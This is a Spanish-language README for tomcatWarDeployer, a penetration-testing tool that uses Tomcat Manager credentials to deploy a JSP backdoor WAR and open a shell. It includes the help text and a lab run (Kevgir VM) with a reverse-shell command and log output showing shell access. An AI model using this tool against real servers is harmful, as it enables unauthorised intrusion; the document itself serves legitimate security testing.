mgeeky/tomcatwardeployerHerramienta de pruebas de penetración para despliegue automático de WAR y pwnear Apache Tomcat.
Herramienta de prueba de penetración para implementación automática de WAR y aprovechamiento de Apache Tomcat.
Esta es una herramienta de pruebas de penetración diseñada para aprovechar las credenciales de Apache Tomcat con el fin de generar e implementar automáticamente un backdoor JSP, así como invocarlo posteriormente y proporcionar una shell útil (ya sea a través de una interfaz web, un puerto de escucha vinculado en la máquina remota o como un payload TCP inverso que se conecta al adversario).
En la práctica, genera un paquete WAR con backdoor JSP sobre la marcha y lo implementa en la Aplicación de Administración de Apache Tomcat, utilizando credenciales de Autenticación HTTP válidas proporcionadas por el probador de penetración (o personalizadas; al final, todos amamos tomcat:tomcat).
La herramienta ofrece un par de funciones útiles, como la lógica de búsqueda del panel de administración, soporte para la codificación doble de CVE-2007-1860 y manejo de CSRF en Tomcat más nuevos.
Tan simple como proporcionar la dirección del servidor con el puerto, como un par IP:PUERTO. Aquí está la ayuda:
user$ python tomcatWarDeployer.py --help
tomcatWarDeployer (v. 0.5)
Apache Tomcat auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
Usage: tomcatWarDeployer.py [options] server
server Specifies server address. Please also include port after colon.
Options:
-h, --help show this help message and exit
General options:
-v, --verbose Verbose mode.
-s, --simulate Simulate breach only, do not perform any offensive
actions.
-G OUTFILE, --generate=OUTFILE
Generate JSP backdoor only and put it into specified
outfile path then exit. Do not perform any
connections, scannings, deployment and so on.
-U USER, --user=USER
Tomcat Manager Web Application HTTP Auth username.
Default="tomcat"
-P PASS, --pass=PASS
Tomcat Manager Web Application HTTP Auth password.
Default="tomcat"
Connection options:
-H RHOST, --host=RHOST
Remote host for reverse tcp payload connection. When
specified, RPORT must be specified too. Otherwise,
bind tcp payload will be deployed listening on 0.0.0.0
-p PORT, --port=PORT
Remote port for the reverse tcp payload when used with
RHOST or Local port if no RHOST specified thus acting
as a Bind shell endpoint.
-u URL, --url=URL Apache Tomcat management console URL. Default:
/manager/
-t TIMEOUT, --timeout=TIMEOUT
Speciifed timeout parameter for socket object and
other timing holdups. Default: 10
Payload options:
-R APPNAME, --remove=APPNAME
Remove deployed app with specified name. Can be used
for post-assessment cleaning
-X PASSWORD, --shellpass=PASSWORD
Specifies authentication password for uploaded shell,
to prevent unauthenticated usage. Default: randomly
generated. Specify "None" to leave the shell
unauthenticated.
-T TITLE, --title=TITLE
Specifies head>title for uploaded JSP WAR payload.
Default: "JSP Application"
-n APPNAME, --name=APPNAME
Specifies JSP application name. Default: "jsp_app"
-x, --unload Unload existing JSP Application with the same name.
Default: no.
-C, --noconnect Do not connect to the spawned shell immediately. By
default this program will connect to the spawned
shell, specifying this option let's you use other
handlers like Metasploit, NetCat and so on.
-f WARFILE, --file=WARFILE
Custom WAR file to deploy. By default the script will
generate own WAR file on-the-fly.
Y un ejemplo de uso en Kevgir 1 VM de canyoupwn.me ejecutándose en 192.168.56.100:8080:
user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080
tomcatWarDeployer (v. 0.3)
Apache Tomcat 6/7 auto WAR deployment & launching tool
Mariusz Banach / MGeeky '16
Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│ ├── META-INF
│ │ └── MANIFEST.MF
│ └── WEB-INF
│ └── web.xml
└── index.jsp
3 directories, 3 files
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"
DEBUG: Succeeded, invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'
DEBUG: Connected with the shell: tomcat7@canyoupwnme
jh
tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)
tomcat7@canyoupwnme $ exit
El programa configurará un listener local para la conexión de shell inversa en el host 192.168.56.102:4449 (host local) como en el ejemplo anterior. Luego, después de invocar el backdoor JSP, se conectará automáticamente con el listener local, lo que resultará en la aparición de una shell. También se puede omitir el parámetro -H para usar la funcionalidad de bind shell, donde en lugar de configurar un listener local, el programa se conectará con un bind-shell que escucha remotamente.
Finalmente, la invocación anterior resultará en la siguiente aplicación JSP accesible remotamente a través de la WEB:
Como se puede ver, se requiere una contraseña para aprovechar el backdoor implementado, evitando así el acceso no autenticado durante la evaluación realizada.
En resumen, el usuario ha generado una aplicación WEB que proporciona un backdoor WEB, autenticado mediante el parámetro POST 'password' que puede ser especificado por el usuario o generado aleatoriamente por el programa. Luego, la aplicación al recibir el encabezado X-Pass en la fase de invocación, generó una conexión inversa a nuestro manejador netcat. El encabezado HTTP se solicita aquí para evitar que el usuario actualice la interfaz web y siga intentando conectarse de forma inversa o vinculada. Esto también hace uso de la autenticación para alcanzar ese código.
Eso sería todo, supongo.
Este y otros proyectos son el resultado de noches sin dormir y mucho trabajo duro. Si te gusta lo que hago y aprecias que siempre retribuyo a la comunidad, considérame invitándome un café (o mejor una cerveza) solo para agradecerme! 💪
Mariusz Banach / mgeeky, 21
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)